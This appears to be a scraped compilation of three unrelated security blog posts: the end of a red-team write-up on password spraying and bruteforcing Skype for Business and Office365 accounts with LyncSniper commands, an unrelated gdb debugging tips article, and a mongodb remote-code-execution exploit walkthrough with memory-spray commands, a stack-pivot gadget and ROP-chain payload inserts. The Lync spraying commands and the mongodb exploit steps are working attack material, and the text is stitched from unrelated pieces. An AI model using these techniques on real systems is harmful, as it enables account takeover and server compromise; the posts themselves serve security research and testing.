</wsp:AppliesTo>  
<wsp:PolicyReference URI="MBI"></wsp:PolicyReference>  
</wst:RequestSecurityToken>  
</S:Body>  
</S:Envelope>`

If authentication is successful, the service will respond with a security
token in the _BinarySecurityToken_ tag of the returned SOAP message.

At this point we have sufficient information to authenticate to both S4B for
on-premise S4B servers and S4B online deployments. We could attempt to
bruteforce passwords, however this will very likely lead to locking out
accounts. A far more effective technique of identifying AD credentials is to
conduct a password spraying attack. This attack involves attempting to login
with a common password \(such as Password1\), across all enumerated accounts.
In this scenario, you should still be mindful of locking out user accounts and
limit the attempts performed in a given timeframe. Erring on the side of
caution we typically spray 2 passwords per day, one first thing and one at the
end of the day, and are yet to lockout any accounts.

To conduct a password spray attack using LyncSniper, you can use arguments
similar to the following:

`Invoke-LyncSpray –userlist users.txt –password Welcome1 –AutoDiscoverURL
–verbose https://lyncdiscover.example.org`

<img src='img/lyncspray1-300x139.png' width='300' height='139' />

If you do not supply an autodiscover URL, LyncSniper will attempt to find it
for you.

Password bruteforcing is of course possible, and for on-premise deployments
the restrictions are set by the target’s active directory account lockout
policy. To avoid the risk of locking out accounts we advise liaising closely
with your point of contact.

Bruteforcing Office365 accounts is also possible, the account lockout policy
is documented by Microsoft to be:

“ _After 10 unsuccessful sign-in attempts \(wrong password\), the user will be
locked out for one minute. Further incorrect sign-in attempts will lock out
the user for increasing durations._ ”

LyncSniper attempts to avoid lockouts by adhering to this policy, attempting 9
login attempts then sleeping for 60seconds. After 60 seconds, LyncSniper
performs a single login attempt and continues increasing the delay by a
further 20 seconds, up to a maximum of 5 minutes between each login attempt.
While this may not be fully optimal, we have had good success in avoiding
lockouts.

A bruteforce of an Office365 S4B deployment can be attempted using arguments
similar to the following:

`Invoke-LyncBrute -username user@office365org.co.uk -passlist .\pass.lst
-office365 –verbose`

<img src='img/lyncspray2-300x85.png' width='300' height='85' />

Compromising a Skype for Business account during a red team assessment opens
up a significant number of opportunities, including to name but a few:

  * Obtaining the global address book,
  * Understand employee relationships through favourite contacts,
  * Social engineering users to visiting your hosted sites,
  * Sending users attachments,
  * Monitoring targets \(when they’re in the office, online or away\) via user presence.

<img src='img/IM-300x282.png' width='300' height='282' />

If the target is offline, the S4B server may send your messages through to the
target via e-mail:

<img src='img/s4bemail-300x141.png' width='300' height='141' />

To protect against such attacks, we recommended the following actions:

  * Restricting Skype for Business to internal networks and/or VPN access,
  * Enforcing Multi-Factor authentication on Skype for Business Online \(Office365\) deployments,
  * Ensuring a suitably complex password and account lockout policy is enforce across your domain.

Whats next?

LyncSniper is under active development and we aim to bring a number of new
features as we perform further research in this space, including NTLM
authentication \(PTH?\), download and querying of contact lists and address
book, sending IMs and sending attachments. We also welcome pull requests for
others who are interested in enhancing the capabilities of this tool

LyncSniper can be downloaded from the MDSec github.

This blog post was written by @domchell of the MDSec ActiveBreach team.

# Ksplice » 8 gdb tricks you should know - System administration and software
blog

**Created:**| _2/6/2011 8:35:24 PM_  
---|---  
**Updated:**| _2/6/2011 8:35:33 PM_  
**Author:**| __  
**Tags:**| _Debugging_  
  

## 8 gdb tricks you should know

Posted in Programming on January 25th, 2011 by Nelson Elhage – 12 Comments

Despite its age, gdb remains an amazingly versatile and flexible tool, and
mastering it can save you huge amounts of time when trying to debug problems
in your code. In this post, I'll share 10 tips and tricks for using GDB to
debug most efficiently.

I'll be using the Linux kernel for examples throughout this post, not because
these examples are necessarily realistic, but because it's a large C codebase
that I know and that anyone can download and take a look at. Don't worry if
you aren't familiar with Linux's source in particular -- the details of the
examples won't matter too much.

  1. `break WHERE if COND`
If you've ever used gdb, you almost certainly know about the "breakpoint"
command, which lets you break at some specified point in the debugged program.

But did you know that you can set conditional breakpoints? If you add `if
CONDITION` to a breakpoint command, you can include an expression to be
evaluated whenever the program reaches that point, and the program will only
be stopped if the condition is fulfilled. Suppose I was debugging the Linux
kernel and wanted to stop whenever init got scheduled. I could do:

[code]     (gdb) break context_switch if next == init_task

    
    
[/code]

Note that the condition is evaluated by gdb, not by the debugged program, so
you still pay the cost of the target stopping and switching to gdb every time
the breakpoint is hit. As such, they still slow the target down in relation to
to how often the target location is hit, not how often the condition is met.

  2. `command`
In addition to conditional breakpoints, the `command` command lets you specify
commands to be run every time you hit a breakpoint. This can be used for a
number of things, but one of the most basic is to augment points in a program
to include debug output, without having to recompile and restart the program.
I could get a minimal log of every `mmap()` operation performed on a system
using:

[code]     (gdb) b do_mmap_pgoff

    Breakpoint 1 at 0xffffffff8111a441: file mm/mmap.c, line 940.
    (gdb) command 1
    Type commands for when breakpoint 1 is hit, one per line.
    End with a line saying just "end".
    >print addr
    >print len
    >print prot
    >end
    (gdb)
    
    
[/code]

  3. `gdb --args`
This one is simple, but a huge timesaver if you didn't know it. If you just
want to start a program under gdb, passing some arguments on the command line,
you can just build your command-line like usual, and then put "gdb --args" in
front to launch gdb with the target program and the argument list both set:

[code]     [~]$ gdb --args pizzamaker --deep-dish --toppings=pepperoni

    ...
    (gdb) show args
    Argument list to give program being debugged when it is started is
      " --deep-dish --toppings=pepperoni".
    (gdb) b main
    Breakpoint 1 at 0x45467c: file oven.c, line 123.
    (gdb) run
    ...
    
    
[/code]

I find this especially useful if I want to debug a project that has some
arcane wrapper script that assembles lots of environment variables and
possibly arguments before launching the actual binary \(I'm looking at you,
libtool\). Instead of trying to replicate all that state and then launch gdb,
simply make a copy of the wrapper, find the final "exec" call or similar, and
add "gdb --args" in front.

  4. Finding source files
I run Ubuntu, so I can download debug symbols for most of the packages on my
system from ddebs.ubuntu.com, and I can get source using `apt-get source`. But
how do I tell gdb to put the two together? If the debug symbols include
relative paths, I can use gdb's `directory` command to add the source
directory to my source path:

[code]     [~/src]$ apt-get source coreutils

    [~/src]$ sudo apt-get install coreutils-dbgsym
    [~/src]$ gdb /bin/ls
    GNU gdb (GDB) 7.1-ubuntu
    (gdb) list main
    1192    ls.c: No such file or directory.
        in ls.c
    (gdb) directory ~/src/coreutils-7.4/src/
    Source directories searched: /home/nelhage/src/coreutils-7.4:$cdir:$cwd
    (gdb) list main
    1192        }
    1193    }
    1194    
    1195    int
    1196    main (int argc, char **argv)
    1197    {
    1198      int i;
    1199      struct pending *thispend;
    1200      int n_files;
    1201
    
    
[/code]

Sometimes, however, debug symbols end up with absolute paths, such as the
kernel's. In that case, I can use `set substitute-path` to tell gdb how to
translate paths:

[code]     [~/src]$ apt-get source linux-image-2.6.32-25-generic

    [~/src]$ sudo apt-get install linux-image-2.6.32-25-generic-dbgsym
    [~/src]$ gdb /usr/lib/debug/boot/vmlinux-2.6.32-25-generic 
    (gdb) list schedule
    5519    /build/buildd/linux-2.6.32/kernel/sched.c: No such file or directory.
        in /build/buildd/linux-2.6.32/kernel/sched.c
    (gdb) set substitute-path /build/buildd/linux-2.6.32 /home/nelhage/src/linux-2.6.32/
    (gdb) list schedule
    5519    
    5520    static void put_prev_task(struct rq *rq, struct task_struct *p)
    5521    {
    5522        u64 runtime = p->se.sum_exec_runtime - p->se.prev_sum_exec_runtime;
    5523    
    5524        update_avg(&p->se.avg_running, runtime);
    5525    
    5526        if (p->state == TASK_RUNNING) {
    5527            /*
    5528             * In order to avoid avg_overlap growing stale when we are
    
    
[/code]

  5. Debugging macros
One of the standard reasons almost everyone will tell you to prefer inline
functions over macros is that debuggers tend to be better at dealing with
inline functions. And in fact, by default, gdb doesn't know anything at all
about macros, even when your project was built with debug symbols:

[code]     (gdb) p GFP_ATOMIC

    No symbol "GFP_ATOMIC" in current context.
    (gdb) p task_is_stopped(&init_task)
    No symbol "task_is_stopped" in current context.
    
    
[/code]

However, if you're willing to tell GCC to generate debug symbols specifically
optimized for gdb, using `-ggdb3`, it can preserve this information:

[code]     $ make KCFLAGS=-ggdb3

    ...
    (gdb) break schedule
    (gdb) continue
    (gdb) p/x GFP_ATOMIC
    $1 = 0x20
    (gdb) p task_is_stopped_or_traced(init_task)
    $2 = 0
    
    
[/code]

You can also use the `macro` and `info macro` commands to work with macros
from inside your gdb session:

[code]     (gdb) macro expand task_is_stopped_or_traced(init_task)

    expands to: ((init_task->state & (4 | 8)) != 0)
    (gdb) info macro task_is_stopped_or_traced
    Defined at include/linux/sched.h:218
      included at include/linux/nmi.h:7
      included at kernel/sched.c:31
    #define task_is_stopped_or_traced(task) ((task->state & (__TASK_STOPPED | __TASK_TRACED)) != 0)
    
    
[/code]

Note that gdb actually knows which contexts macros are and aren't visible, so
when you have the program stopped inside some function, you can only access
macros visible at that point. \(You can see that the "included at" lines above
show you through exactly what path the macro is visible\).

  6. gdb variables
Whenever you `print` a variable in gdb, it prints this weird `$NN =` before it
in the output:

[code]     (gdb) p 5+5

    $1 = 10
    
    
[/code]

This is actually a gdb variable, that you can use to reference that same
variable any time later in your session:

[code]     (gdb) p $1

    $2 = 10
    
    
[/code]

You can also assign your own variables for convenience, using `set`:

[code]     (gdb) set $foo = 4

    (gdb) p $foo
    $3 = 4
    
    
[/code]

This can be useful to grab a reference to some complex expression or similar
that you'll be referencing many times, or, for example, for simplicity in
writing a conditional breakpoint \(see tip 1\).

  7. Register variables
In addition to the numeric variables, and any variables you define, gdb
exposes your machine's registers as pseudo-variables, including some cross-
architecture aliases for common ones, like `$sp` for the the stack pointer, or
`$pc` for the program counter or instruction pointer.

These are most useful when debugging assembly code or code without debugging
symbols. Combined with a knowledge of your machine's calling convention, for
example, you can use these to inspect function parameters:

[code]     (gdb) break write if $rsi == 2

    
    
[/code]

will break on all writes to stderr on amd64, where the `$rsi` register is used
to pass the first parameter.

  8. The `x` command
Most people who've used gdb know about the `print` or `p` command, because of
its obvious name, but I've been surprised how many don't know about the power
of the`x` command.

`x` \(for "e**x** amine"\) is used to output regions of memory in various
formats. It takes two arguments in a slightly unusual syntax:

[code]     x/FMT ADDRESS

    
    
[/code]

`ADDRESS`, unsurprisingly, is the address to examine; It can be an arbitrary
expression, like the argument to `print`.

`FMT` controls how the memory should be dumped, and consists of \(up to\)
three components:

     * A numeric COUNT of how many elements to dump
     * A single-character FORMAT, indicating how to interpret and display each element
     * A single-character SIZE, indicating the size of each element to display.
`x` displays COUNT elements of length SIZE each, starting from ADDRESS,
formatting them according to the FORMAT.

There are many valid "format" arguments; `help x` in gdb will give you the
full list, so here's my favorites:

`x/x` displays elements in hex, `x/d` displays them as signed decimals, `x/c`
displays characters, `x/i` disassembles memory as instructions, and `x/s`
interprets memory as C strings.

The SIZE argument can be one of: `b`, `h`, `w`, and `g`, for one-, two-,
four-, and eight-byte blocks, respectively.

If you have debug symbols so that GDB knows the types of everything you might
want to inspect, `p` is usually a better choice, but if not, `x` is invaluable
for taking a look at memory.

[code]     [~]$ grep saved_command /proc/kallsyms

    ffffffff81946000 B saved_command_line
    
    
    (gdb) x/s 0xffffffff81946000
    ffffffff81946000 <>:     "root=/dev/sda1 quiet"
    
    
[/code]

`x/i` is invaluable as a quick way to disassemble memory:

[code]     (gdb) x/5i schedule

       0xffffffff8154804a <schedule>:   push   %rbp
       0xffffffff8154804b <schedule+1>: mov    $0x11ac0,%rdx
       0xffffffff81548052 <schedule+8>: mov    %gs:0xb588,%rax
       0xffffffff8154805b <schedule+17>:    mov    %rsp,%rbp
       0xffffffff8154805e <schedule+20>:    push   %r15
    
    
[/code]

If I'm stopped at a segfault in unknown code, one of the first things I try is
something like `x/20i $ip-40`, to get a look at what the code I'm stopped at
looks like.

A quick-and-dirty but surprisingly effective way to debug memory leaks is to
let the leak grow until it consumes most of a program's memory, and then
attach `gdb` and just `x` random pieces of memory. Since the leaked data is
using up most of memory, you'll usually hit it pretty quickly, and can try to
interpret what it must have come from.

# mongodb – RCE by databaseSpraying | SCRT Sec Team blog
**Created:**| _1/13/2014 8:30:03 PM_  
---|---  
**Updated:**| _1/13/2014 8:30:03 PM_  
**Author:**| __  
**Tags:**| _Databases nosql_  
  

# mongodb – RCE by databaseSpraying****

To keep going on mongodb research here is my last interesting finding**.**

## Finding the Crash****

In last release \(after 2**.** 2**.** 3\), 10gen chose to move to the V8
Javascript motor that sounds a very good idea**.** They also increased
permeability in "$where" request to reduce impact of SSJI**.**

This time, the crash cannot be triggered from "$where" SSJI and **don’t
worry** you need read-write access to a mongo database to reliably exploit it…

So as last time, I focussed on \[native code\] in javascript functions**.**  
From a mongoclient, you can list every object methods by using prototypes :

[code]

    for(var prop in DB.prototype) { print(prop + ' = ' + DB.prototype[prop]); }
[/code]

But the only object I find with native code inside is the Mongo one :

[code]

    > for(var prop in Mongo.prototype) { print(prop + ' = ' + Mongo.prototype[prop]); }
    find = function find() { [native code] }
    insert = function insert() { [native code] }
    remove = function remove() { [native code] }
    update = function update() { [native code] }
    auth = function auth() { [native code] }
    logout = function logout() { [native code] }
    internalCursor = function internalCursor() { [native code] }
[/code]

So let’s call this functions directly from prototype :

[code]

    > db.eval('Mongo.prototype.find("a",{"b":"c"},"d","e","f","g","h")');
    Fri May 31 13:34:07**.** 514 DBClientCursor::init call() failed
    Fri May 31 13:34:07**.** 515 JavaScript execution failed: Error: error doing query: failed at src/mongo/shell/query**.** js:L78
    Fri May 31 13:34:07.525 trying reconnect to 127**.** 0.0**.** 1:27017
    Fri May 31 13:34:07.526 reconnect 127.0.0**.** 1:27017 failed couldn't connect to server 127.0.0.1:27017
[/code]

Already **?** And on the server side ?

[code]

    Fri May 31 13:34:07**.** 387 Invalid access at address: 0x5000000 from thread: conn3
    Fri May 31 13:34:07**.** 387 Got signal: 11 (Segmentation fault).
[/code]

Okay, we got Segmentation fault. But the address is always the same :
0×05000000  
Trying to control it, I firstly abandonned the idea of making remote code exec
with this bug**.**

## One week later**** …

After noSuchCon, a new idea came in my mind \(sure it’s alcohol and
brainSniffing at this awesome conference\)**.** In 32bits, the databases
cannot be larger than 2GB, because mongo use mmap for mapping all the files
database in memory : http://blog.mongodb.org/post/137788967/32-bit-limitations

The solution is really ugly, but it will be a good POC**.**  
What’s happen if you fill a database :

[code]

    > use databaseSpray
    switched to db databaseSpray
    > sizechunk=0x1000; chunk=""; for(i=0;i<sizechunk;i++){ chunk+="a" } for(i=0;i<600000;i++){ db**.** my_collection.insert({my_chunk:chunk}) }
    can't map file memory - mongo requires 64 bit build for larger datasets
[/code]

Check the mongod map :

[code]

    08048000-09124000 r-xp 00000000 08:05 1843431 /home/agix/exploit_mongo/mongodb-linux-i686-2**.** 4.4-rc0/bin/mongod
    09124000-09167000 rw-p 010dc000 08:05 1843431 /home/agix/exploit_mongo/mongodb-linux-i686-2**.** 4.4-rc0/bin/mongod
    09167000-0941a000 rw-p 00000000 00:00 0 
    0966b000-09769000 rw-p 00000000 00:00 0 [heap]
    0f482000-2f442000 rw-s 00000000 08:01 4448278 /data/db/databaseSpray**.** 10
    2f442000-4f402000 rw-s 00000000 08:01 4448277 /data/db/databaseSpray**.** 9
    4f402000-6f3c2000 rw-s 00000000 08:01 4448276 /data/db/databaseSpray**.** 8
    6f3c2000-8f382000 rw-s 00000000 08:01 4448275 /data/db/databaseSpray**.** 7
    8f382000-af342000 rw-s 00000000 08:01 4448274 /data/db/databaseSpray**.** 6
    af342000-cf302000 rw-s 00000000 08:01 4448273 /data/db/databaseSpray**.** 5
    cf302000-df302000 rw-s 00000000 08:01 4448272 /data/db/databaseSpray**.** 4
    df302000-e7302000 rw-s 00000000 08:01 4448271 /data/db/databaseSpray**.** 3
    e7302000-eb302000 rw-s 00000000 08:01 4448270 /data/db/databaseSpray**.** 2
    eb302000-ed302000 rw-s 00000000 08:01 4448269 /data/db/databaseSpray**.** 1
    ed302000-ee302000 rw-s 00000000 08:01 4448268 /data/db/databaseSpray**.** 0
    ee302000-ef302000 rw-s 00000000 08:01 4448267 /data/db/databaseSpray**.** ns
    ef302000-ef303000 ---p 00000000 00:00 0 
    ef303000-ef403000 rw-p 00000000 00:00 0 
    ef403000-ef404000 ---p 00000000 00:00 0 
    ef404000-efc04000 rw-p 00000000 00:00 0 
    efc04000-f0c04000 rw-s 00000000 08:01 4448266 /data/db/local**.** 0
    f0c04000-f1c04000 rw-s 00000000 08:01 4448265 /data/db/local**.** ns
    f1c04000-f1c05000 ---p 00000000 00:00 0 
    f1c05000-f2405000 rw-p 00000000 00:00 0 
    f2405000-f2406000 ---p 00000000 00:00 0 
    f2406000-f2c06000 rw-p 00000000 00:00 0 
    f2c06000-f2c07000 ---p 00000000 00:00 0 
    f2c07000-f3407000 rw-p 00000000 00:00 0 
    f3407000-f3408000 ---p 00000000 00:00 0 
    f3408000-f3c08000 rw-p 00000000 00:00 0 
    f3c08000-f3c09000 ---p 00000000 00:00 0 
    f3c09000-f4409000 rw-p 00000000 00:00 0 
    f4409000-f440a000 ---p 00000000 00:00 0 
    f440a000-f4c0a000 rw-p 00000000 00:00 0 
    f4c0a000-f4d7f000 r--p 00000000 08:01 1279693 /usr/lib/locale/locale-archive
    f4d7f000-f4e00000 rw-p 00000000 00:00 0 
    f4e00000-f4e21000 rw-p 00000000 00:00 0 
    f4e21000-f4f00000 ---p 00000000 00:00 0 
    f4f45000-f4f46000 ---p 00000000 00:00 0 
    f4f46000-f5746000 rw-p 00000000 00:00 0 
    f5746000-f5747000 ---p 00000000 00:00 0 
    f5747000-f7453000 rw-p 00000000 00:00 0 
    f7453000-f7593000 r-xp 00000000 08:01 3842112 /lib32/libc-2**.** 11.3.so
    f7593000-f7594000 ---p 00140000 08:01 3842112 /lib32/libc-2**.** 11.3.so
    f7594000-f7596000 r--p 00140000 08:01 3842112 /lib32/libc-2**.** 11.3.so
    f7596000-f7597000 rw-p 00142000 08:01 3842112 /lib32/libc-2**.** 11.3.so
    f7597000-f759a000 rw-p 00000000 00:00 0 
    f759a000-f75af000 r-xp 00000000 08:01 3842106 /lib32/libpthread-2**.** 11.3.so
    f75af000-f75b0000 r--p 00014000 08:01 3842106 /lib32/libpthread-2**.** 11.3.so
    f75b0000-f75b1000 rw-p 00015000 08:01 3842106 /lib32/libpthread-2**.** 11.3.so
    f75b1000-f75b3000 rw-p 00000000 00:00 0 
    f75b3000-f75d0000 r-xp 00000000 08:01 1297070 /usr/lib32/libgcc_s**.** so.1
    f75d0000-f75d1000 rw-p 0001c000 08:01 1297070 /usr/lib32/libgcc_s**.** so.1
    f75d1000-f75f5000 r-xp 00000000 08:01 3842125 /lib32/libm-2**.** 11.3.so
    f75f5000-f75f6000 r--p 00023000 08:01 3842125 /lib32/libm-2**.** 11.3.so
    f75f6000-f75f7000 rw-p 00024000 08:01 3842125 /lib32/libm-2**.** 11.3.so
    f75f7000-f75f8000 rw-p 00000000 00:00 0 
    f75f8000-f76e1000 r-xp 00000000 08:01 1297077 /usr/lib32/libstdc++**.** so.6.0.13
    f76e1000-f76e5000 r--p 000e9000 08:01 1297077 /usr/lib32/libstdc++**.** so.6.0.13
    f76e5000-f76e6000 rw-p 000ed000 08:01 1297077 /usr/lib32/libstdc++**.** so.6.0.13
    f76e6000-f76ed000 rw-p 00000000 00:00 0 
    f76ed000-f76f4000 r-xp 00000000 08:01 3842108 /lib32/librt-2**.** 11.3.so
    f76f4000-f76f5000 r--p 00006000 08:01 3842108 /lib32/librt-2**.** 11.3.so
    f76f5000-f76f6000 rw-p 00007000 08:01 3842108 /lib32/librt-2**.** 11.3.so
    f7709000-f7710000 r--s 00000000 08:01 2501540 /usr/lib32/gconv/gconv-modules.cache
    f7710000-f7713000 rw-p 00000000 00:00 0 
    f7713000-f7714000 r-xp 00000000 00:00 0 [vdso]
    f7714000-f7730000 r-xp 00000000 08:01 3842107 /lib32/ld-2**.** 11.3.so
    f7730000-f7731000 r--p 0001b000 08:01 3842107 /lib32/ld-2**.** 11.3.so
    f7731000-f7732000 rw-p 0001c000 08:01 3842107 /lib32/ld-2**.** 11.3.so
    ffdfc000-ffe11000 rw-p 00000000 00:00 0 [stack]
[/code]

My databaseSpray is not covering 0×05000000 yet… but if we create a new one :

[code]

    > use databaseMapped
    switched to db databaseMapped
    > sizechunk=0x1338; chunk=""; for(i=0;i<sizechunk;i++){ chunk+="\x01\x02\x03\x04\x05\x06\x07\x08"; } for(i=0;i<30000;i++){ db**.** my_collection.insert({my_chunk:chunk}) }
    can't map file memory - mongo requires 64 bit build for larger datasets
    04048000-08048000 rw-s 00000000 08:01 4448283 /data/db/databaseMapped**.** 2
    08048000-09124000 r-xp 00000000 08:05 1843431 /home/agix/exploit_mongo/mongodb-linux-i686-2**.** 4.4-rc0/bin/mongod
    09124000-09167000 rw-p 010dc000 08:05 1843431 /home/agix/exploit_mongo/mongodb-linux-i686-2**.** 4.4-rc0/bin/mongod
    09167000-0941a000 rw-p 00000000 00:00 0 
    0966b000-09788000 rw-p 00000000 00:00 0 [heap]
    0b482000-0d482000 rw-s 00000000 08:01 4448282 /data/db/databaseMapped**.** 1
    0d482000-0e482000 rw-s 00000000 08:01 4448281 /data/db/databaseMapped**.** 0
    0e482000-0f482000 rw-s 00000000 08:01 4448280 /data/db/databaseMapped**.** ns
    0f482000-2f442000 rw-s 00000000 08:01 4448278 /data/db/databaseSpray**.** 10
    2f442000-4f402000 rw-s 00000000 08:01 4448277 /data/db/databaseSpray**.** 9
    4f402000-6f3c2000 rw-s 00000000 08:01 4448276 /data/db/databaseSpray**.** 8
    6f3c2000-8f382000 rw-s 00000000 08:01 4448275 /data/db/databaseSpray**.** 7
    8f382000-af342000 rw-s 00000000 08:01 4448274 /data/db/databaseSpray**.** 6
    af342000-cf302000 rw-s 00000000 08:01 4448273 /data/db/databaseSpray**.** 5
    cf302000-df302000 rw-s 00000000 08:01 4448272 /data/db/databaseSpray**.** 4
    df302000-e7302000 rw-s 00000000 08:01 4448271 /data/db/databaseSpray**.** 3
    e7302000-eb302000 rw-s 00000000 08:01 4448270 /data/db/databaseSpray**.** 2
    eb302000-ed302000 rw-s 00000000 08:01 4448269 /data/db/databaseSpray**.** 1
    ed302000-ee302000 rw-s 00000000 08:01 4448268 /data/db/databaseSpray**.** 0
    ee302000-ef302000 rw-s 00000000 08:01 4448267 /data/db/databaseSpray**.** ns
    ef302000-ef303000 ---p 00000000 00:00 0 
    ef303000-ef403000 rw-p 00000000 00:00 0 
    ef403000-ef404000 ---p 00000000 00:00 0 
    ef404000-efc04000 rw-p 00000000 00:00 0 
    efc04000-f0c04000 rw-s 00000000 08:01 4448266 /data/db/local**.** 0
    f0c04000-f1c04000 rw-s 00000000 08:01 4448265 /data/db/local**.** ns
    f1c04000-f1c05000 ---p 00000000 00:00 0 
    f1c05000-f2405000 rw-p 00000000 00:00 0 
    f2405000-f2406000 ---p 00000000 00:00 0 
    f2406000-f2c06000 rw-p 00000000 00:00 0 
    f2c06000-f2c07000 ---p 00000000 00:00 0 
    f2c07000-f3407000 rw-p 00000000 00:00 0 
    f3407000-f3408000 ---p 00000000 00:00 0 
    f3408000-f3c08000 rw-p 00000000 00:00 0 
    f3c08000-f3c09000 ---p 00000000 00:00 0 
    f3c09000-f4409000 rw-p 00000000 00:00 0 
    f4409000-f440a000 ---p 00000000 00:00 0 
    f440a000-f4c0a000 rw-p 00000000 00:00 0 
    f4c0a000-f4d7f000 r--p 00000000 08:01 1279693 /usr/lib/locale/locale-archive
    f4d7f000-f4e00000 rw-p 00000000 00:00 0 
    f4e00000-f4e21000 rw-p 00000000 00:00 0 
    f4e21000-f4f00000 ---p 00000000 00:00 0 
    f4f45000-f4f46000 ---p 00000000 00:00 0 
    f4f46000-f5746000 rw-p 00000000 00:00 0 
    f5746000-f5747000 ---p 00000000 00:00 0 
    f5747000-f7453000 rw-p 00000000 00:00 0 
    f7453000-f7593000 r-xp 00000000 08:01 3842112 /lib32/libc-2**.** 11**.** 3.so
    f7593000-f7594000 ---p 00140000 08:01 3842112 /lib32/libc-2**.** 11.3**.** so
    f7594000-f7596000 r--p 00140000 08:01 3842112 /lib32/libc-2**.** 11**.** 3.so
    f7596000-f7597000 rw-p 00142000 08:01 3842112 /lib32/libc-2**.** 11.3**.** so
    f7597000-f759a000 rw-p 00000000 00:00 0 
    f759a000-f75af000 r-xp 00000000 08:01 3842106 /lib32/libpthread-2**.** 11**.** 3.so
    f75af000-f75b0000 r--p 00014000 08:01 3842106 /lib32/libpthread-2**.** 11.3**.** so
    f75b0000-f75b1000 rw-p 00015000 08:01 3842106 /lib32/libpthread-2**.** 11**.** 3.so
    f75b1000-f75b3000 rw-p 00000000 00:00 0 
    f75b3000-f75d0000 r-xp 00000000 08:01 1297070 /usr/lib32/libgcc_s**.** so.1
    f75d0000-f75d1000 rw-p 0001c000 08:01 1297070 /usr/lib32/libgcc_s**.** so.1
    f75d1000-f75f5000 r-xp 00000000 08:01 3842125 /lib32/libm-2**.** 11.3**.** so
    f75f5000-f75f6000 r--p 00023000 08:01 3842125 /lib32/libm-2**.** 11**.** 3.so
    f75f6000-f75f7000 rw-p 00024000 08:01 3842125 /lib32/libm-2**.** 11.3**.** so
    f75f7000-f75f8000 rw-p 00000000 00:00 0 
    f75f8000-f76e1000 r-xp 00000000 08:01 1297077 /usr/lib32/libstdc++**.** so**.** 6.0.13
    f76e1000-f76e5000 r--p 000e9000 08:01 1297077 /usr/lib32/libstdc++**.** so.6.0**.** 13
    f76e5000-f76e6000 rw-p 000ed000 08:01 1297077 /usr/lib32/libstdc++**.** so**.** 6.0.13
    f76e6000-f76ed000 rw-p 00000000 00:00 0 
    f76ed000-f76f4000 r-xp 00000000 08:01 3842108 /lib32/librt-2**.** 11.3.so
    f76f4000-f76f5000 r--p 00006000 08:01 3842108 /lib32/librt-2**.** 11.3.so
    f76f5000-f76f6000 rw-p 00007000 08:01 3842108 /lib32/librt-2**.** 11.3.so
    f7709000-f7710000 r--s 00000000 08:01 2501540 /usr/lib32/gconv/gconv-modules.cache
    f7710000-f7713000 rw-p 00000000 00:00 0 
    f7713000-f7714000 r-xp 00000000 00:00 0 [vdso]
    f7714000-f7730000 r-xp 00000000 08:01 3842107 /lib32/ld-2**.** 11.3.so
    f7730000-f7731000 r--p 0001b000 08:01 3842107 /lib32/ld-2**.** 11.3.so
    f7731000-f7732000 rw-p 0001c000 08:01 3842107 /lib32/ld-2**.** 11.3.so
    f7732000-ff732000 rw-s 00000000 08:01 4448284 /data/db/databaseMapped**.** 3
    ffdfc000-ffe11000 rw-p 00000000 00:00 0 [stack]
[/code]

Bingo **\!** The "/data/db/databaseMapped.2" file is mapped at my address**.**  
And if you restart the mongod ?

Nothing is mapped, so you have to request one of your database to force mongod
to map it :

[code]

    > use databaseSpray
    switched to db databaseSpray
    > db**.** my_collection.findOne();
    > use databaseMapped
    switched to db databaseMapped
    > db**.** my_collection.findOne();
[/code]

The files are mapped exactly to the same place \o/ **\!** No more long loop.

## What the crash **?**

The crash occurs because non initialisation of Mongo "conn" object when you
directly call the prototype function**.** The luck is that the address at this
point is mappable**.** So we can craft our own object.

[code]

    0x89b68be <_ZN5mongo9mongoFindEPNS_7V8ScopeERKN2v89ArgumentsE+1070>: mov eax,DWORD PTR [edx] 
    0x89b68c0 <_ZN5mongo9mongoFindEPNS_7V8ScopeERKN2v89ArgumentsE+1072>: mov edx,DWORD PTR [ebp-0x14c] 
    0x89b68c6 <_ZN5mongo9mongoFindEPNS_7V8ScopeERKN2v89ArgumentsE+1078>: mov eax,DWORD PTR [eax]
    0x89b68c8 <_ZN5mongo9mongoFindEPNS_7V8ScopeERKN2v89ArgumentsE+1080>: mov DWORD PTR [ebp-0x94],edx
    0x89b68ce <_ZN5mongo9mongoFindEPNS_7V8ScopeERKN2v89ArgumentsE+1086>: mov DWORD PTR [ebp-0x170],eax
[/code]

edx is the non initialized pointer : 0×05000000  
and later :

[code]

    0x89b69b1 <_ZN5mongo9mongoFindEPNS_7V8ScopeERKN2v89ArgumentsE+1313>: call   DWORD PTR [ebp-0x170]
[/code]

We have to map at 0×05000000 a pointer to our first gadget**.** Unfortunately,
this time again, we cannot use gadget made of bytes > 0x7F**.**

## Let’s Pivot \!

At this point, we control EIP, but not the stack…

Spending all my time finding a pivot with utf-8 bytes, I only find this one :
0x0855777c

[code]

     0x855777c: mov esp,0x83ffd656
     0x8557781: les eax,FWORD PTR [ebx+ebx*2]
     0x8557784: pop ebp
     0x8557785: ret
[/code]

The 0x83ffd656 address is fill with our databaseSpray**.** So we just have to
fill the databaseSpray with our ROPChain and RCE is achieved **\!**

## The end****

I won’t publish a total exploit, the last part is boring, you just have to
find a classic ropchain to copy shellcode in a RWX mmaped zone**.** You can
use the same technique as before to pivot again in a ROP without utf-8
limlitation**.**

To sum up, the step :

Firstly fill a database with your ROPChain **\!**

[code]

    >use databaseSpray
    switched to db databaseSpray
    >rop="\x01\x02\x03\x04"; sizechunk=0x1000; chunk=""; for(i=0;i<sizechunk;i++){ chunk+="\x74\x0a\x05\x08"; } chunk.substring(0,(sizechunk-rop.length)); for(i=0;i<600000;i++){ db**.** my_collection.insert({my_chunk:chunk+rop}) }
[/code]

Then create the good one that will fill the non initialized object**.**

[code]

    >use databaseMapped
    switched to db databaseMapped
    > sizechunk=0x1338; chunk=""; for(i=0;i<sizechunk;i++){ chunk+="\x05\x7c\x77\x55\x08\x04\x00\x00"; } for(i=0;i<30000;i++){ db**.** my_collection.insert({my_chunk:chunk}) }
    can't map file memory - mongo requires 64 bit build for larger datasets
[/code]

Finally, trigger the bug \o/

[code]

    > db.eval('Mongo.prototype.find("a",{"b":"c"},"d","e","f","g","h")');
[/code]

With database filled with "a" you totally control stack :

[code]

    Program received signal SIGSEGV, Segmentation fault**.**
    [Switching to Thread 0xf360fb70 (LWP 12464)]
    [----------------------------------registers-----------------------------------]
    EAX: 0x0 
    EBX: 0x9161a60 --> 0x915e2e0 --> 0x1 
    ECX: 0xf7e633a0 --> 0x0 
    EDX: 0x5000000 --> 0x5000004 --> 0x855777c (mov esp,0x83ffd656)
    ESI: 0x0 
